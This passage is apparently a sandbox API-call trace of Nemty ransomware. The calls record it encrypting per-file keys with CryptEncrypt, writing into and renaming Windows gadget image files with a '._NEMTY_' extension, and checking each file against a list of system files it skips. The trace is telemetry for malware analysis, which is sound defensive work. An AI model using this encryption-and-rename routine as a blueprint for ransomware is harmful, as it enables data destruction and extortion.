lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0157.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0157.417] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0157.418] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0157.418] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0157.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0157.418] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="gr62nA1HcCy4j+RkrG45xt7M44EunLEGrN4mYU7w89YsmOmFjqSqs5/JHwLMQ7Zt\r\nzEBsQScSQBavcCz16inBQ/p5EVtSI3g5BSl/xXnC6mPCDprlqht6xLF77Trsrg6M\r\nAiu5NXd2AbTVWcZgNHm7jxdAeOkojWn6t15PxV7VaAHMwxUnGKmvkWdwLpDpYu0/\r\nscOQgD6p5Alq51QIaEgZtxuvpby0JTTMlWKn8kyH3ZQUX8owvtHlbThd0VNwXdyg\r\nlgBGovO1O527IXJV8xFrZDF7vb4d+eliKSM0B3He9MM/UgQEeP+mbkk8A5764kHZ\r\n+rpLbN6P9y4IhuDVQhkiew==\r\n", pcchString=0x653e91c) returned 1 [0157.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0157.418] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0157.418] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0157.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0157.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0157.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0157.418] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\46.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\46.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0157.418] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0157.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0157.418] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.418] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.427] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.427] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.427] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.427] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.437] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.437] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.437] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.437] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.446] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.446] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.446] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.446] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.455] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.455] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.455] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.455] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.467] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.467] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.467] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.467] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.476] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.476] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.476] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.476] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.485] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.485] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.485] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.485] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.494] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.494] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.494] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.494] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.503] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.503] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.503] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.503] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.513] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.513] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.513] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.513] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.519] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.519] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.519] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.519] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.525] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.525] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.525] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.525] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0157.525] CloseHandle (hObject=0xffffffff) returned 0 [0157.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0157.525] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0157.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0157.525] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0157.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0157.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0157.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0157.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0157.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0157.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0157.525] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\46.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\46.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\46.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\46.png._nemty_kgobjgd_")) returned 0 [0157.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0157.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0157.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0157.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0157.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0157.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0157.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0157.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0157.525] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86bc72d2, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86bc72d2, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aebb9c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="47.png", cAlternateFileName="")) returned 1 [0157.525] lstrcmpiW (lpString1="47.png", lpString2=".") returned 1 [0157.525] lstrcmpiW (lpString1="47.png", lpString2="..") returned 1 [0157.525] lstrcmpiW (lpString1="47.png", lpString2="...") returned 1 [0157.526] lstrcmpiW (lpString1="47.png", lpString2="windows") returned -1 [0157.526] lstrcmpiW (lpString1="47.png", lpString2="$RECYCLE.BIN") returned 1 [0157.526] lstrcmpiW (lpString1="47.png", lpString2="rsa") returned -1 [0157.526] lstrcmpiW (lpString1="47.png", lpString2="NTDETECT.COM") returned -1 [0157.526] lstrcmpiW (lpString1="47.png", lpString2="ntldr") returned -1 [0157.526] lstrcmpiW (lpString1="47.png", lpString2="MSDOS.SYS") returned -1 [0157.526] lstrcmpiW (lpString1="47.png", lpString2="IO.SYS") returned -1 [0157.526] lstrcmpiW (lpString1="47.png", lpString2="boot.ini") returned -1 [0157.526] lstrcmpiW (lpString1="47.png", lpString2="boot.ini") returned -1 [0157.526] lstrcmpiW (lpString1="47.png", lpString2="AUTOEXEC.BAT") returned -1 [0157.526] lstrcmpiW (lpString1="47.png", lpString2="ntuser.dat") returned -1 [0157.526] lstrcmpiW (lpString1="47.png", lpString2="desktop.ini") returned -1 [0157.526] lstrcmpiW (lpString1="47.png", lpString2="CONFIG.SYS") returned -1 [0157.526] lstrcmpiW (lpString1="47.png", lpString2="RECYCLER") returned -1 [0157.526] lstrcmpiW (lpString1="47.png", lpString2="BOOTSECT.BAK") returned -1 [0157.526] lstrcmpiW (lpString1="47.png", lpString2="bootmgr") returned -1 [0157.526] lstrcmpiW (lpString1="47.png", lpString2="programdata") returned -1 [0157.526] lstrcmpiW (lpString1="47.png", lpString2="appdata") returned -1 [0157.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="47.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0157.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="47.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="47.png", lpUsedDefaultChar=0x0) returned 6 [0157.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="47.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0157.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="47.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="47.png", lpUsedDefaultChar=0x0) returned 6 [0157.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="47.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0157.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="47.png", cchWideChar=6, lpMultiByteStr=0x653ec20, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="47.png", lpUsedDefaultChar=0x0) returned 6 [0157.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="47.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0157.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="47.png", cchWideChar=6, lpMultiByteStr=0x653ec58, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="47.png", lpUsedDefaultChar=0x0) returned 6 [0157.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0157.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0157.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0157.526] Sleep (dwMilliseconds=0x5) [0157.542] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x118ca2d0, dwHighDateTime=0x1d561e8)) [0157.542] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x118ca2d0, dwHighDateTime=0x1d561e8)) [0157.542] GetLastError () returned 0x5 [0157.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0157.542] GetLastError () returned 0x5 [0157.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0157.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0157.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0157.542] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0157.542] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0157.542] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0157.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0157.543] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="9aZpIYCA0HsjYkreBW+lIxF6jnB0lYI5+AakOPppAbhCv2OJJQXs/CFEqgZrIS1f\r\nPwIH2ZAGVWFuYza0IgZu9ujpq1PLz4ZrhG/zDbls4oE6tRU0ALmoiGZj95NqDZ/x\r\nhm+tpki9DdsyxxG2qNLTxrv7K8OAxWX75E3gz0MHdWUryZYUv7br7NeQ6jEkqx5Z\r\nBeODRQ+wNzdK+kdJoELd82ZUplOQ0JwTpM0pnbJ/zzTNF0AtY/6v7nt3Rj93vhu6\r\n/+7niu+KTpBdTtirkc+bdVSIxO1i/nI+wv2kkTI2AtUx1ArWGPbuharhfwLvjTYK\r\nTiRwUx/AykzQ+36Gh0+OJw==\r\n", pcchString=0x653e91c) returned 1 [0157.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0157.543] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0157.543] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0157.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0157.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0157.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0157.543] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\47.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\47.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0157.543] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0157.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0157.543] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.543] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.552] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.552] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.552] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.552] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.562] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.562] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.562] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 